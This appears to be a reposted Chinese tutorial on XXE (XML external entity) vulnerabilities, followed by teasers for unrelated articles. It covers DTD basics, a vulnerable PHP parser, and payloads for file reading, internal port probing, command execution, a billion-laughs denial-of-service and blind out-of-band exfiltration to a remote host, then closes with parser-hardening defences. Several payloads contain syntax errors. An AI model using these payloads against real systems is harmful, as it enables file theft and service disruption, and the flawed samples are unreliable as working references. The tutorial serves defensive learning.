Web漏洞-XXE漏洞(详细)

news2025/7/8 9:08:48

XXE漏洞

XXE全称为XML External Entity Injection即XMl外部实体注入漏洞

原理:

XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载, 导致用户可以控制外部的加载文件,造成XXE漏洞。

XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤,导致可加载恶意外部文件和代码,造成任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害

基础知识:

XML用于标记电子文件使其具有结构性的标记语言,可以标记数据,定义数据类型,允许用户对自己的标记语言进行定义的源语言。XML文档结构包括XML声明,DTD文档类型定义、文档元素。

DTD的作用是定义XML文档的合法构造模块,可以在内部声明,也可以外部引用

xml文档的构建模块

所有的 XML 文档(以及 HTML 文档)均由以下简单的构建模块构成:

  • 元素

  • 属性

  • 实体

  • PCDATA

  • CDATA

元素约束

格式:<!ELEMENT name content-type>

  • ELEMENT 表示关键字

  • NAME 表示元素名称

  • content-type 表示元素类型,有三种写法:

  • EMPTY 表示该元素不能包含子元素和文本,但可以有属性

  • ANY 表示该元素可以包含任何在该DTD中定义的元素内容

  • #PCDATA 表示可以包含任何字符数据,但是不能在其中包含任何子元素,被解析的字符数据,PCDATA是会被解析器解析的文本

属性约束

格式:<!ATTLIST 元素名 属性名称 属性类型 属性特点>

属性类型:

  • CDATA 是字符串类型,不会被解析器解析的文本,在这些文本中的标签不会被当作标记来对待,其中的实体也不会被展开

  • ID 在整个文档中是唯一的,命名规则和xml元素一样,不能以数字开头

  • IDREF reference属性的值必须来源于ID的值

  • IDREFS 值必须来源于ID的值,取值可以是多个,以空格分开书写

  • Enumerated 枚举类型(男|女)

  • ENTITY 实体

属性特点:

  • #REQUIRED 必须设置

  • #IMPLIED 可选

  • #FIXED value 固定值,属性可以不设定(该属性会自动设置上),如果设置,值必须为value

  • default value 默认值,可以自定义,如果不定义该属性,则属性会自动设置,值为默认值

语法规则:

xml 必须包含根元素,它是所有其他元素的父元素,比如以下实例中 root 就是根元素:

<?xml version="1.0" encoding="UTF-8"?> //文档开头必须
<root>
  <child>
    <subchild>.....</subchild>
  </child>
</root>
  • 在 XML 中,省略关闭标签是非法的。所有元素都必须有关闭标签

  • XML 标签对大小写敏感。标签 与标签 是不同的。必须使用相同的大小写来编写打开标签和关闭标签

  • 在 XML 中,所有元素都必须彼此正确地嵌套

  • XML的注释同html

  • XML中空格会被保留,而HTML会把多个字符裁剪为一个

  • XML的标签可以自定义,就是说可以随便改

  • XML 的属性值必须加引号

XML实体

在 XML 中,一些字符拥有特殊的意义。

如果您把字符 “<” 放在 XML 元素中,会发生错误,这是因为解析器会把它当作新元素的开始。

实体是用于定义引用普通文本或特殊字符的快捷方式的变量

为了避免这个错误,需要实体引用来代替 “<” 字符:

在 XML 中,有 5 个预定义的实体引用
&lt;    <    小于
&gt;    >    大于
&amp;    &    &符
&apos;    '    单引
&quot;    "    双引

在 Windows 应用程序中,换行通常以一对字符来存储:回车符(CR)和换行符(LF)。

在 Unix 和 Mac OSX 中,使用 LF 来存储新行。在旧的 Mac 系统中,使用 CR 来存储新行。XML 以 LF 存储换行。

所有的XML文档都由五种简单的构建模块(元素,属性,实体,PCDATA CDATA)构成

DTD实体介绍:

DTD(文档类型定义)的作用是定义 XML 文档的合法构建模块。

DTD 的声明方式分为两种:内部 DTD 和外部 DTD ,其区别就在于:对 XML 文档中的元素、属性和实体的 DTD 的声明是在 XML 文档内部引用还是引用外部的 dtd 文件。

内部DTD

<?xml version="1.0"?> //声明xml版本
<!DOCTYPE note [   //声明此文档是note类型的文档
<!ELEMENT note (to,from,heading,body)>  //声明此文档的所有元素
<!ELEMENT to (#PCDATA)>  //定义to元素的类型为PCDATA
<!ELEMENT from (#PCDATA)>  // 定义from元素类型为PCDATA
<!ELEMENT heading (#PCDATA)> // 定义heading为PCDATA
<!ELEMENT body (#PCDATA)>  // 定义body为PCDATA
<!ENTITY writer "hello world"> // 定义一个内部实体
]>
<note>
<to>Tove</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend</body>
</note>

外部DTD

通用实体和参数实体:

1、通用实体

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY > #定义元素为ANY,即可以接受任何元素。
<!ENTITY xxe SYSTEM "file:///c:/test.dtd" >]> // 定义通用实体
<root>
<body>&xxe;</body> #定义一个外部实体
</root>

通过第 4 行的定义, 第 7 行的 &xxe 就会对 c:/test.dtd 文件资源进行 SYSTEM 关键字的引用,这样对引用资源所做的任何更改都会在文档中自动更新。

另外除了上面 SYSTEM 关键字的引用方式,还有一种引用方式是使用 PUBLIC 引用公用 DTD 的方式,语法如

<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>

2、参数实体

<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;

在上面的代码示例中,可以看到实体名前多了一个 “%” ,在参数实体中使用 “% 实体名” (这里面的空格不能少) 定义,并且只能在 DTD 中使用 “% 实体名” 引用。

判读是否存在XXE漏洞:

最直接的方法就是用burp抓包,然后,修改HTTP请求方法,修改Content-Type头部字段等等,查看返回包的响应,看看应用程序是否解析了发送的内容,一旦解析了,那么有可能XXE攻击漏洞

XML漏洞利用

file_get_contents函数读取了php://input传入的数据,但是传入的数据没有经过任何过滤,直接在loadXML函数中进行了调用并通过了echo函数输入$username的结果,这样就导致了XXE漏洞的产生。

<?php 
  libxml_disable_entity_loader(false);
$xmlfile=file_get_contents('php://input');
$dom=new DOMDocument();

$dom->loadXML($xmlfile,LIBXML_NOENT | LIBXML_DTDLOAD);
$creds=simplexml_import_dom($dom);
$username=$creds->username;
$password=$creds->password;

echo 'hello'.$username;

?>

1、文件读取

通过加载外部实体,利用file://、php://等伪协议读取本地文件

payload
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="file:///etc/passwd"]>
<creds>
  <username>&xxe</username>
  <password>test</password>
</creds>

2、内网探测

利用xxe漏洞进行内网探测,如果端口开启,请求返回的时间会很快,如果端口关闭请求返回的时间会很慢

探测22号端口是否开启

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="http://127.0.0.1.22"]>
<creds>
    <username>&xxe</username>
    <password>test</password>
</creds>

3、命令执行

利用xxe漏洞可以调用except://伪协议调用系统命令

<?xml version="1.0"?>
<!DOCTYPE creds[
<!ELEMENT userename ANY>
<!ELEMENT password ANY>
<!ENTITY xxe SYSTEM="except://id"]>
<creds>
    <username>&xxe</username>
    <password>test</password>
</creds>

4、DDOS攻击

<?xml version="1.0"?>
   <!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

这个的原理就是递归引用,lol 实体具体还有 "lol" 字符串,然后一个 lol2 实体引用了 10 次 lol 实体,一个 lol3 实体引用了 10 次 lol2 实体,此时一个 lol3 实体就含有 10^2 个 "lol" 了,以此类推,lol9 实体含有 10^8 个 "lol" 字符串,最后再引用lol9。构造恶意的XML实体文件耗尽可用内存,因为许多XML解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,造成了拒绝服务器攻击。

XXE利用两大常见:有回显和无回显。有回显的情况可以直接在页面中看到payload的执行结果或现象,无回显的情况又称为blind xxe,可以使用外带数据通道提取数据

有回显:

  • 直接外部实体声明

<?xml versinotallow="1.0"?>
        <!DOCTYPE ANY [
                <!ENTITY test SYSTEM "file:///etc/passwd">
        ]>
        <abc>&test;</abc>
  • 引入外部dtd文档

通过外部dtd文档引入外部实体声明

<?xml versinotallow="1.0"?>
        <!DOCTYPE a SYSTEM "http://localhost/evil.dtd">
        <abc>&b;</abc>

evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
  • 通过外部实体引入dtd文档

通过外部实体声明引入外部实体声明

<?xml versinotallow="1.0"?>
        <!DOCTYPE a [
                <!ENTITY % d SYSTEM "http://localhost/evil.dtd">
        %d;
        ]>
        <abc>&b;</abc>

evil.dtd内容:
<!ENTITY b SYSTEM "file:///etc/passwd">

无回显:

利用参数实体:

<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://ip/test.dtd">
%remote;%int;%send;
]>

test.dtd:
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///D:/test.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://ip:9999?p=%file;'>">

调用过程:

连续调用了三个参数实体 %remote;%int;%send;,这就是我们的利用顺序,%remote 先调用,调用后请求远程服务器上的 test.dtd ,有点类似于将 test.dtd 包含进来,然后 %int 调用 test.dtd 中的 %file, %file 就会去获取服务器上面的敏感文件,然后将 %file 的结果填入到 %send 以后(因为实体的值中不能有 %, 所以将其转成html实体编码 &#37;),我们再调用 %send; 把我们的读取到的数据发送到我们的远程 vps 上,这样就实现了外带数据的效果,完美的解决了 XXE 无回显的问题。

防御方法:

  1. 禁用外部实体

php:
libxml_disable_entity_loader(true);

java:
DocumentBuilderFactory dbf =DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);

python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
  1. 过滤和验证用户提交的XML数据

  1. 不允许XML中含有任何自己声明的DTD ,过滤关键字:<\!DOCTYPE和<\!ENTITY,或者SYSTEM和PUBLIC

  1. 有效的措施:配置XML parser只能使用静态DTD,禁止外来引入;对于Java来说,直接设置相应的属性值为false即可

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/404652.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

行测-判断推理-类比推理-逻辑关系-交叉关系

花瓶和瓷器是交叉关系&#xff0c;除了瓷花瓶&#xff0c;还有塑料花瓶等花瓶中有一部分是瓷器&#xff0c;瓷器中有一部分是花瓶A选项&#xff1a;电视机是电器的一种&#xff0c;种属关系&#xff0c;排除AB选项&#xff1a;中药和植物是交叉关系&#xff0c;还有动物入药等&…

< 开源项目框架:推荐几个开箱即用的开源管理系统 - 让开发不再复杂 >

文章目录&#x1f449; SCUI Admin 中后台前端解决方案&#x1f449; Vue .NetCore 前后端分离的快速发开框架&#x1f449; next-admin 适配移动端、pc的后台模板&#x1f449; django-vue-admin-pro 快速开发平台&#x1f449; Admin.NET 通用管理平台&#x1f449; RuoYi 若…

SpringBoot 整合 Activiti7

一.pom依赖引入 通过该 pom.xml 文件所导入的坐标&#xff0c;我们就可以实现 activiti7 与 Springboot 整合 <!--activiti7与SpringBoot整合的相关依赖--><parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-start…

【教学典型案例】04.生产环境app打包导致不能自动升级

目录一&#xff1a;背景介绍现象原因产生影响二&#xff1a;问题复现过程1、注册服务空间2、添加Admin项目3、创建uniapp项目4、App打包5、发布到升级中心三&#xff1a;总结一&#xff1a;背景介绍 现象 用户端安装了74版本的app&#xff0c;不能自动升级。 原因 产生该问…

win10 +cuda11.3.1+VS2019-社区版+drive445.87

参考&#xff1a;https://blog.csdn.net/kunhe0512/article/details/124331221这里的推荐离线安装包的方式进行cuda安装&#xff0c;官方也给了conda的安装方式&#xff0c;我试过一直出问题&#xff0c;所以安装包的方式比较靠谱&#xff0c;windows比linux下更方便。vs2019-c…

Uipath Excel 自动化系列20-Insert Chart(插入图表)

活动描述 Insert Chart(插入图表)&#xff1a;在Excel工作表的指定位置插入图表&#xff0c;该活动需与Use Excel File 活动选择的 Excel 文件一起使用。 使用如下图&#xff1a; Insert Chart(插入图表)属性配置 属性 作用 DisplayName 在设计器面板中设置活动显示的名称…

计算机网络笔记——计算机网络体系结构

计算机网络笔记——计算机网络体系结构1.计算机网络体系结构1.1 计算机网络概述1.1.1 计算机网络的概念1.1.2 计算机网络组成物理组成工作方式组成功能组成1.1.3 计算机网路的功能1.1.4 计算机网络的分类1.1.5 计算机网络的标准化公工作及相关组织1.2 计算机网络体系结构与参考…

Python调用Shell命令 (python,shell 混合编程)

Python经常被称作“胶水语言”&#xff0c;因为它能够轻易地操作其他程序&#xff0c;轻易地包装使用其他语言编写的库&#xff0c;也当然可以用Python调用Shell命令。 用Python调用Shell命令有如下几种方式&#xff1a; 1. os.system os.system("The command you want&…

fiddler

文章目录fiddler简介URL与HTTPURLhttp模拟测试场景弱网测试自定义规则前端性能分析及优化fiddler 简介 Fiddler是位于客户端和服务端的HTTP代理 目前最常用的http抓包工具之一功能非常强大&#xff0c;是web调试的利器 监控浏览器所有的HTTP/HTTPS流量查看、分析请求内容细节伪…

Android之屏幕适配方案

在说明适配方案之前&#xff0c;我们需要对如下几个概念有所了解&#xff1a;屏幕尺寸&#xff0c;屏幕分辨率&#xff0c;屏幕像素密度。 屏幕尺寸 屏幕尺寸指屏幕的对角线的物理长度&#xff0c;单位是英寸&#xff0c;1英寸2.54厘米。 比如常见的屏幕尺寸&#xff1a;5.0、5…

粒子群优化SVM含水率预测

目录 支持向量机SVM的详细原理 SVM的定义 SVM理论 SVM应用实例,基于粒子群改进SVM的含水率回归分析 代码 结果分析 展望 支持向量机SVM的详细原理 SVM的定义 支持向量机(support vector machines, SVM)是一种二分类模型,它的基本模型是定义在特征空间上的间隔最大的线性…

python --生成时间序列,作为横轴的标签。时间跨越2008-2022年,生成每年的6-10月的第一天作为时间序列

python 生成制定的时间序列作为绘图时x轴的标签 问题需求 在绘图时&#xff0c;需要对于x轴的标签进行专门的设置&#xff0c;整体时间跨越2008年-2022年&#xff0c;将每年的6-10月的第一天生成一条时间序列&#xff0c;绘制成图。 解决思路 对于时间序列的生成&#xff0…

【react 全家桶】条件渲染

文章目录05 【条件渲染】基础配置1.条件判断语句2.三目运算符3.与运算符&&4.元素变量5.阻止组件渲染05 【条件渲染】 在 React 中&#xff0c;你可以创建不同的组件来封装各种你需要的行为。然后&#xff0c;依据应用的不同状态&#xff0c;你可以只渲染对应状态下的部…

VB实现点爆炸效果

需在窗体放置以下 4 个控件&#xff0c;所有控件不用设置任何属性&#xff0c;均采用默认设置&#xff1a; ’ Picture1&#xff0c;Command1&#xff0c;Check1&#xff0c;Timer1 Option Explicit Dim I Dim ctD() As tyD, ctDs As Long, ctR As Single Private Type tyD x…

java单元测试(二)H2数据库篇

java单元测试&#xff08;二&#xff09;H2数据库篇一、什么是H2&#xff1f;二、Springboot项目集成H22.1、引入H2依赖2.2、初始化spring配置文件application.test.xml2.3、初始化H2数据库DDL/DML语句三、编写单元测试3.1、首先我们创建测试类3.2、编写测试用例3.3、测试用例一…

elasticsearch集群搭建(ES集群搭建)

目录一、下载Elasticsearch1.选择你要下载的Elasticsearch版本二、采用通用搭建集群的方法三、配置三台es1.上传压缩包到任意一台虚拟机中2.解压并修改配置文件(配置单台es)3.配置三台es集群一、下载Elasticsearch 1.选择你要下载的Elasticsearch版本 es下载地址 这里我下载…

Mysql架构以及Mysql引擎

Mysql架构1.连接层&#xff1a;负责接收客户端的连接请求最上层是一些客户端和连接服务&#xff0c;包含本地 sock 通信和大多数基于客户端/服务端工具实现的类似于 tcp/ip 的通信。主要完成一些类似于连接处理、授权认证、及相关的安全方案。2.服务层&#xff1a;sql接口接收s…

【UEFI实战】BIOS与IPMI

KCS KCS全称是Keyboard Controller Style&#xff0c;关于这个名称不用过多的追究&#xff0c;只需要知道它是系统&#xff08;BIOS和OS&#xff09;和BMC通信的一种基本方式即可。本文将介绍BIOS下的KCS接口&#xff0c;包括接口使用方式和数据。内容参考自《ipmi-second-gen…

[LeetCode周赛复盘] 第 99 场双周赛20230304

[LeetCode周赛复盘] 第 99 场双周赛20230304 一、本周周赛总结二、 [Easy] 2578. 最小和分割1. 题目描述2. 思路分析3. 代码实现三、[Medium] 2579. 统计染色格子数1. 题目描述2. 思路分析3. 代码实现四、[Medium] 2580. 统计将重叠区间合并成组的方案数1. 题目描述2. 思路分析…

DALL·E 2 论文阅读笔记

《Hierarchical Text-Conditional Image Generation with CLIP Latents》Paper: https://cdn.openai.com/papers/dall-e-2.pdfProject: https://openai.com/product/dall-e-2Author: OpenAI闲言碎语时间线&#xff1a;2021.01推出DALLE&#xff0c;2021年底推出GLIDE&#xff0…